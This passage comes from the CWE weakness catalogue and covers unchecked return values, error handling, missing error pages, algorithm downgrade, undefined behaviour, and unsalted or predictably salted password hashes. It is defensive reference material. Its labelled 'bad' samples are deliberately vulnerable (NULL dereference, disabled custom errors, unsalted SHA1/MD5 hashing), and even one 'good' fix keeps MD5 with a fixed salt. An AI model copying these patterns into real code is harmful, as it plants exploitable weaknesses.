    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Example 8:

In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

Example Language: C++ *(bad)*

```
int outputStringToFile(char *output, char *filename) {
    openFileToWrite(filename);
    writeToFile(output);
    closeFile(filename);
}
```

However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

Example Language: C++ *(good)*

```
int outputStringToFile(char *output, char *filename) {
    int isOutput = SUCCESS;
    int isOpen = openFileToWrite(filename);
    if (isOpen == FAIL) {
        printf("Unable to open file %s", filename);
        isOutput = FAIL;
    }
    else {
        int isWrite = writeToFile(output);
        if (isWrite == FAIL) {
            printf("Unable to write to file %s", filename);
            isOutput = FAIL;
        }
        int isClose = closeFile(filename);
        if (isClose == FAIL)
            isOutput = FAIL;
    }
    return isOutput;
}
```

Example 9:

In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.

Example Language: Java *(bad)*

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
}
```

However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The

readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

Example Language: Java *(good)*

```
private File readFile = null;
public void setInputFile(String inputFile) {
    // create readFile File object from string containing name of file
}
public void readFromFile() {
    try {
        if (readFile == null) {
            System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
            throw NullPointerException;
        }
        reader = new FileReader(readFile);
        // read input file
    } catch (FileNotFoundException ex) {...}
    catch (NullPointerException ex) {...}
}
```

Observed Examples

Reference	Description
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3798*
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447*
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Notes

Relationship

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Perl Coding Standard	EXP31-PL	CWE More Abstract	Do not suppress or ignore exceptions

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-622]Frank Kim. "Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions". 2010 March 5. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/15/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/ >.

CWE-755: Improper Handling of Exceptional Conditions

Weakness ID : 755 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not handle or incorrectly handles an exceptional condition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ParentOf	B	209	Generation of Error Message Containing Sensitive Information	490
ParentOf	B	280	Improper Handling of Insufficient Permissions or Privileges	613
ParentOf	B	390	Detection of Error Condition Without Action	845
ParentOf	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	857
ParentOf	B	396	Declaration of Catch for Generic Exception	860
ParentOf	B	460	Improper Cleanup on Thrown Exception	981
ParentOf	B	544	Missing Standardized Error Handling Mechanism	1117
ParentOf	C	636	Not Failing Securely ('Failing Open')	1245
ParentOf	B	756	Missing Custom Error Page	1390
ParentOf	B	1261	Improper Handling of Single Event Upsets	1795

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Observed Examples

Reference	Description
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4302*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

CWE-756: Missing Custom Error Page

Weakness ID : 756 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not return custom error pages to the user, possibly exposing sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
ParentOf	V	7	J2EE Misconfiguration: Missing Custom Error Page	4
ParentOf	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	11

Nature	Type	ID	Name	Page
CanPrecede	B	209	Generation of Error Message Containing Sensitive Information	490

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.*	

Demonstrative Examples

Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Example Language: Java *(bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

Example 2:

An insecure ASP.NET application setting:

Example Language: ASP.NET *(bad)*

```
<customErrors mode="Off" />
```

Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Here is a more secure setting:

Example Language: ASP.NET *(good)*

```
<customErrors mode="RemoteOnly" />
```

Custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

Weakness ID : 757 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2006-4302	Attacker can select an older version of the software to exploit its vulnerabilities. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4302*
CVE-2006-4407	Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4407*
CVE-2005-2969	chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2969*
CVE-2001-1444	Telnet protocol implementation allows downgrade to weaker authentication and encryption using a MITM attack.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1444
CVE-2002-1646	SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1646*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	957	SFP Secondary Cluster: Protocol Error	888	1938

Notes

Relationship

This is related to CWE-300, although not all downgrade attacks necessarily require an entity that redirects or interferes with the network. See examples.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
220	Client-Server Protocol Manipulation
606	Weakening of Cellular Encryption
620	Drop Encryption Level

CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

Weakness ID : 758 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf	B	474	Use of Function with Inconsistent Implementations	1006
ParentOf	B	562	Return of Stack Variable Address	1136
ParentOf	B	587	Assignment of a Fixed Address to a Pointer	1175
ParentOf	V	588	Attempt to Access Child of a Non-structure Pointer	1177
ParentOf	C	1038	Insecure Automated Optimizations	1641

Nature	Type	ID	Name	Page
ParentOf	B	1102	Reliance on Machine-Dependent Data Representation	1701
ParentOf	B	1103	Use of Platform-Dependent Third Party Components	1702
ParentOf	B	1105	Insufficient Encapsulation of Machine-Dependent Functionality	1703

Weakness Ordinalities

Indirect :

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Observed Examples

Reference	Description
CVE-2006-1902	Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1902*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2000
MemberOf	C	1170	SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)	1154	2002

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR32-C	CWE More Abstract	Ensure size arguments for variable length arrays are in a valid range
CERT C Secure Coding	ERR34-C	Imprecise	Detect errors when converting a string to a number
CERT C Secure Coding	EXP30-C	CWE More Abstract	Do not depend on the order of evaluation for side effects
CERT C Secure Coding	EXP33-C	CWE More Abstract	Do not read uninitialized memory
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT34-C	CWE More Abstract	Do not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand
CERT C Secure Coding	INT36-C	CWE More Abstract	Converting a pointer to integer or integer to pointer
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory
CERT C Secure Coding	MSC14-C		Do not introduce unnecessary platform dependencies
CERT C Secure Coding	MSC15-C		Do not depend on undefined behavior
CERT C Secure Coding	MSC37-C	CWE More Abstract	Ensure that control never reaches the end of a non-void function

CWE-759: Use of a One-Way Hash without a Salt

Weakness ID : 759 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software does not also use a salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	916	Use of Password Hash With Insufficient Computational Effort	1594

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions

can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Architecture and Design

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness = Limited

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C *(bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

Example Language: Java *(bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password. Note this code also exhibits CWE-328 (Reversible One-Way Hash).

Example 2:

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

Example Language: Python *(bad)*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

Example Language: Python *(good)*

```
def storePassword(userName,Password):
    hasher = hashlib.new('md5',b'SaltGoesHere')
    hasher.update(Password)
    hashedPassword = hasher.digest()
    # UpdateUserLogin returns True on success, False otherwise
    return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

Observed Examples

Reference	Description
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1526*
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1058*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1899
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	1938

References

[REF-291]Johnny Shelley. "bcrypt". < http://bcrypt.sourceforge.net/ >.

[REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < http://www.tarsnap.com/scrypt.html >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < http://tools.ietf.org/html/rfc2898 >.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < http://codahale.com/how-to-safely-store-a-password/ >.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/ >.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < http://www.openwall.com/presentations/PHDays2012-Password-Security/ >.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html >.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/ >.

[REF-631]OWASP. "Password Storage Cheat Sheet". < https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet >.

[REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < http://www.securityfocus.com/blogs/262 >.

[REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html >.

[REF-634]James McGlinn. "Password Hashing". < http://phpsec.org/articles/2005/password-hashing.html >.

[REF-635]Jeff Atwood. "Rainbow Hash Cracking". 2007 September 8. < http://www.codinghorror.com/blog/archives/000949.html >.

[REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < http://www.codinghorror.com/blog/2012/04/speed-hashing.html >.

[REF-637]"Rainbow table". 2009 March 3. Wikipedia. < http://en.wikipedia.org/wiki/Rainbow_table >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-760: Use of a One-Way Hash with a Predictable Salt

Weakness ID : 760 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software uses a predictable salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not

expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	916	Use of Password Hash With Insufficient Computational Effort	1594

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1968

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Implementation

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness = Limited

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Observed Examples

Reference	Description
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4905*
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1657*
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0967*
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	958	SFP Secondary Cluster: Broken Cryptography	888	1938

References

[REF-291]Johnny Shelley. "bcrypt". < http://bcrypt.sourceforge.net/ >.

[REF-292]Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". < http://www.tarsnap.com/scrypt.html >.

[REF-293]B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 2000. < http://tools.ietf.org/html/rfc2898 >.

[REF-294]Coda Hale. "How To Safely Store A Password". 2010 January 1. < http://codahale.com/how-to-safely-store-a-password/ >.

[REF-295]Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012 June 1. < http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/ >.

[REF-296]Solar Designer. "Password security: past, present, future". 2012. < http://www.openwall.com/presentations/PHDays2012-Password-Security/ >.

[REF-297]Troy Hunt. "Our password hashing has no clothes". 2012 June 6. < http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html >.

[REF-298]Joshbw. "Should we really use bcrypt/scrypt?". 2012 June 8. < http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/ >.

[REF-631]OWASP. "Password Storage Cheat Sheet". < https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet >.

[REF-632]Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007 September 0. < http://www.securityfocus.com/blogs/262 >.

[REF-633]Robert Graham. "The Importance of Being Canonical". 2009 February 2. < http://erratasec.blogspot.com/2009/02/importance-of-being-canonical.html >.

[REF-634]James McGlinn. "Password Hashing". < http://phpsec.org/articles/2005/password-hashing.html >.

[REF-635]Jeff Atwood. "Rainbow Hash Cracking". 2007 September 8. < http://www.codinghorror.com/blog/archives/000949.html >.

[REF-636]Jeff Atwood. "Speed Hashing". 2012 April 6. < http://www.codinghorror.com/blog/2012/04/speed-hashing.html >.

